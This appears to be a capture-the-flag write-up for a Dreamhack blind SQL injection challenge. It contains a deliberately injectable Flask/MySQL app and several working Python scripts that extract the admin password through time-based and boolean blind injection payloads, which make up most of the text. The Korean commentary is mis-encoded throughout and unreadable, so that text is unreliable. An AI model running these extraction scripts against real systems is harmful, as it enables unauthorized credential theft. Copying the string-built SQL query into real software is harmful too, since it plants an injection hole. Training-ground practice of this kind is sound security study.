[2025-07-15] Blind SQL Injection advanced

๐Ÿฆฅ ๋ณธ๋ฌธ

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)


@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

  • ์˜€๊ณ  init.sql ์„ ๋ณด๋‹ˆ admin์˜ upw๊ฐ€ Flag์˜€๋‹ค. ๊ธธ์ด๋ถ€ํ„ฐ ์•Œ๊ธฐ์œ„ํ•ด์„œ
import requests
import time

# ํƒ€๊ฒŸ URL ์„ค์ •
URL = "http://host3.dreamhack.games:21066/"

# ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ์ตœ๋Œ€ ๊ธธ์ด๋ฅผ ์ถ”์ธกํ•˜๋Š” ๋ฒ”์œ„ (1๋ถ€ํ„ฐ 50๊นŒ์ง€)
MAX_LENGTH = 100

def find_password_length():
    for length in range(1, MAX_LENGTH + 1):
        payload = f"admin' AND IF(LENGTH(upw)={length}, SLEEP(5), 0)-- "
        start_time = time.time()

        response = requests.get(URL, params={'uid': payload})
        elapsed_time = time.time() - start_time

        if elapsed_time >= 4:
            print(f"[+] Found password length: {length}")
            return length

    print("[-] Could not determine password length.")
    return None

if __name__ == "__main__":
    find_password_length()

  • ์œ„ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด๋‹ˆ 27์ž ์˜€๋‹ค.
import requests
import time
import string

# ํƒ€๊ฒŸ URL ์„ค์ • (DreamHack ์„œ๋ฒ„)
URL = "http://host3.dreamhack.games:21066/"

# ์‚ฌ์šฉํ•  ๋ฌธ์ž ์ง‘ํ•ฉ (ASCII)
CHARSET = string.ascii_letters + string.digits + string.punctuation  # ๋ชจ๋“  ASCII ๋ฌธ์ž ํฌํ•จ

# ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด (์ด๋ฏธ ์•Œ์•„๋‚ธ ๊ฐ’)
PASSWORD_LENGTH = 27

def find_password():
    password = ""
    for position in range(1, PASSWORD_LENGTH + 1):
        for char in CHARSET:
            payload = f"admin' AND IF(SUBSTRING(upw,{position},1)='{char}', SLEEP(5), 0)-- "
            start_time = time.time()
            
            # ์š”์ฒญ ๋ณด๋‚ด๊ธฐ
            response = requests.get(URL, params={'uid': payload})
            elapsed_time = time.time() - start_time

            # ์‘๋‹ต ์‹œ๊ฐ„์ด 5์ดˆ ์ด์ƒ์ด๋ฉด ๋งž๋Š” ๋ฌธ์ž์ž„
            if elapsed_time >= 5:
                password += char
                print(f"[+] Found character at position {position}: {char}")
                break

    print(f"\n[+] Password found: {password}")
    return password

if __name__ == "__main__":
    find_password()

  • ์ด ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด๋ดค๋Š” ๋ฐ 1,2,3,11,12,13๋ฒˆ์งธ๋งŒ ์ถœ๋ ฅํ•ด์คฌ๋‹ค.
  • ๋˜ ์‹œ๊ฐ„์ด ๋ง๋„ ์•ˆ๋˜๊ฒŒ ์˜ค๋ž˜ ๊ฑธ๋ ค์„œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ณด์•˜๋‹ค. ๋˜ํ•œ 13๋ฒˆ์งธ์—์„œ }๊นŒ์ง€ ๋‚˜์™€์„œ 27์ž๊ฐ€ ์•„๋‹Œ ๊ฑฐ ๊ฐ™์•„์„œ ๊ฒ€์ƒ‰ํ•˜์—ฌ ์ฐพ์•„๋ณด์•˜๋‹ค.

ํ’€์ด

  • ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด๋Š” ์ฝ”๋“œ
from requests import get

host = "http://localhost:5000"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")
  • ์œ„์˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ–ˆ๋Š” ๋ฐ 13์ž๊ฐ€ ๋‚˜์˜จ ๊ฒƒ์ด์—ˆ๋‹คโ€ฆ.
  • ํ•œ๊ธ€์€ ์œ ๋‹ˆ์ฝ”๋“œ๋กœ 3๋ฐ”์ดํŠธ๋ผ ์›๋ž˜๋ณด๋‹ค ํฌ๊ฒŒ ๋‚˜์˜จ ๊ฒƒ์ด๋‹ค.. ๋˜ํ•œ ๋น„ํŠธ ๋‹จ์œ„๋กœ ์ชผ๊ฐœ์„œ ๋‚˜๋ˆ„๋‹ˆ ์•„์Šคํ‚ค์ธ์ง€ ํ•œ๊ธ€์ธ์ง€ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ  ์‹œ๊ฐ„๋„ ํ›จ์”ฌ ๋นจ๋ž๋‹ค.
from requests import get
 
host = "http://host3.dreamhack.games:16736/"
 
password_length = 13
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
 
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
 
print(password)

Categories:

Updated:

Leave a comment